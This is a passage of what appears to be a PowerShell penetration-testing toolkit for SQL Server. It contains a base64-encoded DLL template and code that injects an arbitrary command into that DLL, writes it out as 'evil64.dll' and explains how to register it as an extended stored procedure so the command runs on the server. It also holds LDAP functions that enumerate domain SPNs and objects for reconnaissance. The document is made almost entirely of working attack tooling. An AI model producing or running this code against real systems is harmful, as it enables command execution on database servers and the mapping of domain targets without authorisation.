zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmYPH4QAAAAAAP/gzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMQFVIg+wgSIvqD7ZNIOgqnv//kEiDxCBdw8zMzMzMzMxAVUiD7CBIi+roOp///5APtk0g6ASe//+QSIPEIF3DzMzMzMzMzMzMzMzMzMzMzMxAVUiD7DBIi+pIiU04SItFOEiLAIsAiUU0SItFOItNNEiJRCQoiUwkIEyNDXCl//9Mi0Vgi1VYSIt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# Convert it to a byte array [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes64) # This is the string in the DLL template that will need to be replaced $BufferString = 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# ----------------------------------------------- # Setup command # ----------------------------------------------- # Command to injectin into the DLL (if not defined by the user) IF(-not($Command)) { $CommandString = 'echo This is a test. > c:\temp\test.txt && REM' } else { $CommandString = "$Command && REM" } # Calculate the length of the BufferString $BufferStringLen = $BufferString.Length # Calculate the length of the Command $CommandStringLen = $CommandString.Length # Check if the command is to long to be accepted by cmd.exe used by the system call if ($CommandStringLen -gt $BufferStringLen) { Write-Warning -Message ' Command is too long!' Break } else { $BuffLenDiff = $BufferStringLen - $CommandStringLen $NewBuffer = ' ' * $BuffLenDiff $CommandString = "$CommandString && REM $NewBuffer" } # Convert command string $CommandStringBytes = ([system.Text.Encoding]::UTF8).GetBytes($CommandString) # Get string value of the DLL file $S = [System.Text.Encoding]::ASCII.GetString($DllBytes) # Set the offset to 0 $Index = 0 # Get the starting offset of the buffer string $Index = $S.IndexOf($BufferString) if(($Index -eq 0) -and ($Index -ne -1)) { throw("Could not find string $BufferString !") Break } else { Write-Verbose -Message " Found buffer offset for command: $Index" } # Replace target bytes for ($i = 0; $i -lt $CommandStringBytes.Length; $i++) { $DllBytes[$Index+$i] = $CommandStringBytes[$i] } # ----------------------------------------------- # Setup proc / dll function export name # ----------------------------------------------- $ProcNameBuffer = 'EVILEVILEVILEVILEVIL' # Set default dll name IF(-not($ExportName)) { $ExportName = 'xp_evil' } # Check function name length $ProcNameBufferLen = $ProcNameBuffer.Length $ExportNameLen = $ExportName.Length If ($ProcNameBufferLen -lt $ExportNameLen) { Write-Warning -Message ' The function name is too long!' Break } else { $ProcBuffLenDiff = $ProcNameBufferLen - $ExportNameLen $ProcNewBuffer = '' * $ProcBuffLenDiff #$ExportName = "$ExportName$ProcNewBuffer" # need to write nullbytes } # Get function name string offset $ProcIndex = 0 # Get string value of the DLL file $S2 = [System.Text.Encoding]::ASCII.GetString($DllBytes) $ProcIndex = $S2.IndexOf($ProcNameBuffer) # Check for offset errors if(($ProcIndex -eq 0) -and ($ProcIndex -ne -1)) { throw("Could not find string $ProcNameBuffer!") Break } else { Write-Verbose -Message " Found buffer offset for function name: $ProcIndex" } # Convert function name to bytes $ExportNameBytes = ([system.Text.Encoding]::UTF8).GetBytes($ExportName) # Replace target bytes for ($i = 0; $i -lt $ExportNameBytes.Length; $i++) { $DllBytes[$ProcIndex+$i] = $ExportNameBytes[$i] } # Get offset for nulls $NullOffset = $ProcIndex+$ExportNameLen Write-Verbose -Message " Found buffer offset for buffer: $NullOffset" $NullBytes = ([system.Text.Encoding]::UTF8).GetBytes($ProcNewBuffer) # Replace target bytes for ($i = 0; $i -lt $ProcBuffLenDiff; $i++) { $DllBytes[$NullOffset+$i] = $NullBytes[$i] } # ------------------------------------ # Write DLL file to disk # ------------------------------------ IF(-not($OutFile)) { $OutFile = '.\evil64.dll' } Write-Verbose -Message "Creating DLL $OutFile" Write-Verbose -Message " - Exported function name: $ExportName" Write-Verbose -Message " - Exported function command: `"$Command`"" Write-Verbose -Message " - Manual test: rundll32 $OutFile,$ExportName" Set-Content -Value $DllBytes -Encoding Byte -Path $OutFile Write-Verbose -Message ' - DLL written' Write-Verbose -Message ' ' Write-Verbose -Message 'SQL Server Notes' Write-Verbose -Message 'The exported function can be registered as a SQL Server extended stored procedure. Options below:' Write-Verbose -Message " - Register xp via local disk: sp_addextendedproc `'$ExportName`', 'c:\temp\myxp.dll'" Write-Verbose -Message " - Register xp via UNC path: sp_addextendedproc `'$ExportName`', `'\\servername\pathtofile\myxp.dll`'" Write-Verbose -Message " - Unregister xp: sp_dropextendedproc `'$ExportName`'" } #endregion ######################################################################### # #region DISCOVERY FUNCTIONS # ######################################################################### # ------------------------------------------- # Function: Get-DomainSpn # ------------------------------------------- # Author: Scott Sutherland # Reference: http://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx function Get-DomainSpn { <# .SYNOPSIS Used to query domain controllers via LDAP. Supports alternative credentials from non-domain system Note: This will use the default logon server by default. .PARAMETER Username Domain account to authenticate to Active Directory. .PARAMETER Password Domain password to authenticate to Active Directory. .PARAMETER Credential Domain credential to authenticate to Active Directory. .PARAMETER DomainController Domain controller to authenticated to. Requires username/password or credential. .PARAMETER ComputerName Computer name to filter for. .PARAMETER DomainAccount Domain account to filter for. .PARAMETER SpnService SPN service code to filter for. .EXAMPLE PS C:\temp> Get-DomainSpn -SpnService MSSQL | Select-Object -First 2 UserSid : 15000005210002431346712321821222048886811922073100 User : SQLServer1$ UserCn : SQLServer1 Service : MSSQLSvc ComputerName : SQLServer1.domain.local Spn : MSSQLSvc/SQLServer1.domain.local:1433 LastLogon : 6/24/2016 6:56 AM Description : This is a SQL Server test instance using a local managed service account. UserSid : 15000005210002431346712321821222048886811922073101 User : SQLServiceAccount UserCn : SQLServiceAccount Service : MSSQLSvc ComputerName : SQLServer2.domain.local Spn : MSSQLSvc/SQLServer2.domain.local:NamedInstance LastLogon : 3/26/2016 3:43 PM Description : This is a SQL Server test instance using a domain service account. .EXAMPLE PS C:\temp> Get-DomainSpn -DomainController 10.0.0.1 -Username Domain\User -Password Password123! #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'Domain user to authenticate with domain\user.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'Domain password to authenticate with domain\user.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Credentials to use when connecting to a Domain Controller.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, HelpMessage = 'Domain controller for Domain and Site that you want to query against.')] [string]$DomainController, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Computer name to filter for.')] [string]$ComputerName, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Domain account to filter for.')] [string]$DomainAccount, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SPN service code.')] [string]$SpnService, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { if(-not $SuppressVerbose) { Write-Verbose -Message 'Getting domain SPNs...' } # Setup table to store results $TableDomainSpn = New-Object -TypeName System.Data.DataTable $null = $TableDomainSpn.Columns.Add('UserSid') $null = $TableDomainSpn.Columns.Add('User') $null = $TableDomainSpn.Columns.Add('UserCn') $null = $TableDomainSpn.Columns.Add('Service') $null = $TableDomainSpn.Columns.Add('ComputerName') $null = $TableDomainSpn.Columns.Add('Spn') $null = $TableDomainSpn.Columns.Add('LastLogon') $null = $TableDomainSpn.Columns.Add('Description') $TableDomainSpn.Clear() } Process { try { # Setup LDAP filter $SpnFilter = '' if($DomainAccount) { $SpnFilter = "(objectcategory=person)(SamAccountName=$DomainAccount)" } if($ComputerName) { $ComputerSearch = "$ComputerName`$" $SpnFilter = "(objectcategory=computer)(SamAccountName=$ComputerSearch)" } # Get results $SpnResults = Get-DomainObject -LdapFilter "(&(servicePrincipalName=$SpnService*)$SpnFilter)" -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential # Parse results $SpnResults | ForEach-Object -Process { [string]$SidBytes = [byte[]]"$($_.Properties.objectsid)".split(' ') [string]$SidString = $SidBytes -replace ' ', '' $Spn = $_.properties.serviceprincipalname.split(',') foreach ($item in $Spn) { # Parse SPNs $SpnServer = $item.split('/')[1].split(':')[0].split(' ')[0] $SpnService = $item.split('/')[0] # Parse last logon if ($_.properties.lastlogon) { $LastLogon = [datetime]::FromFileTime([string]$_.properties.lastlogon).ToString('g') } else { $LastLogon = '' } # Add results to table $null = $TableDomainSpn.Rows.Add( [string]$SidString, [string]$_.properties.samaccountname, [string]$_.properties.cn, [string]$SpnService, [string]$SpnServer, [string]$item, $LastLogon, [string]$_.properties.description ) } } } catch { "Error was $_" $line = $_.InvocationInfo.ScriptLineNumber "Error was in Line $line" } } End { # Check for results if ($TableDomainSpn.Rows.Count -gt 0) { $TableDomainSpnCount = $TableDomainSpn.Rows.Count if(-not $SuppressVerbose) { Write-Verbose -Message "$TableDomainSpnCount SPNs found on servers that matched search criteria." } Return $TableDomainSpn } else { Write-Verbose -Message '0 SPNs found.' } } } # ------------------------------------------- # Function: Get-DomainObject # ------------------------------------------- # Author: Will Schroeder # Modifications: Scott Sutherland function Get-DomainObject { <# .SYNOPSIS Used to query domain controllers via LDAP. Supports alternative credentials from non-domain system Note: This will use the default logon server by default. .PARAMETER Username Domain account to authenticate to Active Directory. .PARAMETER Password Domain password to authenticate to Active Directory. .PARAMETER Credential Domain credential to authenticate to Active Directory. .PARAMETER DomainController Domain controller to authenticated to. Requires username/password or credential. .PARAMETER LdapFilter LDAP filter. .PARAMETER LdapPath Ldap path. .PARAMETER $Limit Maximum number of Objects to pull from AD, limit is 1,000.". .PARAMETER SearchScope Scope of a search as either a base, one-level, or subtree search, default is subtree.. .EXAMPLE PS C:\temp> Get-DomainObject -LdapFilter "(&(servicePrincipalName=*))" .EXAMPLE PS C:\temp> Get-DomainObject -LdapFilter "(&(servicePrincipalName=*))" -DomainController 10.0.0.1 -Username Domain\User -Password Password123! .Note This was based on Will Schroeder's Get-ADObject function from https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'Domain user to authenticate with domain\user.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'Domain password to authenticate with domain\user.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Credentials to use when connecting to a Domain Controller.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, HelpMessage = 'Domain controller for Domain and Site that you want to query against.')] [string]$DomainController, [Parameter(Mandatory = $false, HelpMessage = 'LDAP Filter.')] [string]$LdapFilter = '', [Parameter(Mandatory = $false, HelpMessage = 'LDAP path.')] [string]$LdapPath, [Parameter(Mandatory = $false, HelpMessage = 'Maximum number of Objects to pull from AD, limit is 1,000 .')] [int]$Limit = 1000, [Parameter(Mandatory = $false, HelpMessage = 'scope of a search as either a base, one-level, or subtree search, default is subtree.')] [ValidateSet('Subtree','OneLevel','Base')] [string]$SearchScope = 'Subtree' ) Begin { # Create PS Credential object if($Username -and $Password) { $secpass = ConvertTo-SecureString $Password -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ($Username, $secpass) } # Create Create the connection to LDAP if ($DomainController) { $objDomain = (New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password).distinguishedname # add ldap path if($LdapPath) { $LdapPath = '/'+$LdapPath+','+$objDomain $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController$LdapPath", $Credential.UserName, $Credential.GetNetworkCredential().Password } else { $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password } $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath } else { $objDomain = ([ADSI]'').distinguishedName # add ldap path if($LdapPath) { $LdapPath = $LdapPath+','+$objDomain $objDomainPath = [ADSI]"LDAP://$LdapPath" } else { $objDomainPath = [ADSI]'' } $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath } # Setup LDAP filter $objSearcher.PageSize = $Limit $objSearcher.Filter = $LdapFilter $objSearcher.SearchScope = 'Subtree' } Process { try { # Return object $objSearcher.FindAll() | ForEach-Object -Process { $_ } } catch { "Error was $_" $line = $_.InvocationInfo.ScriptLineNumber "Error was in Line $line" } } End { } } # 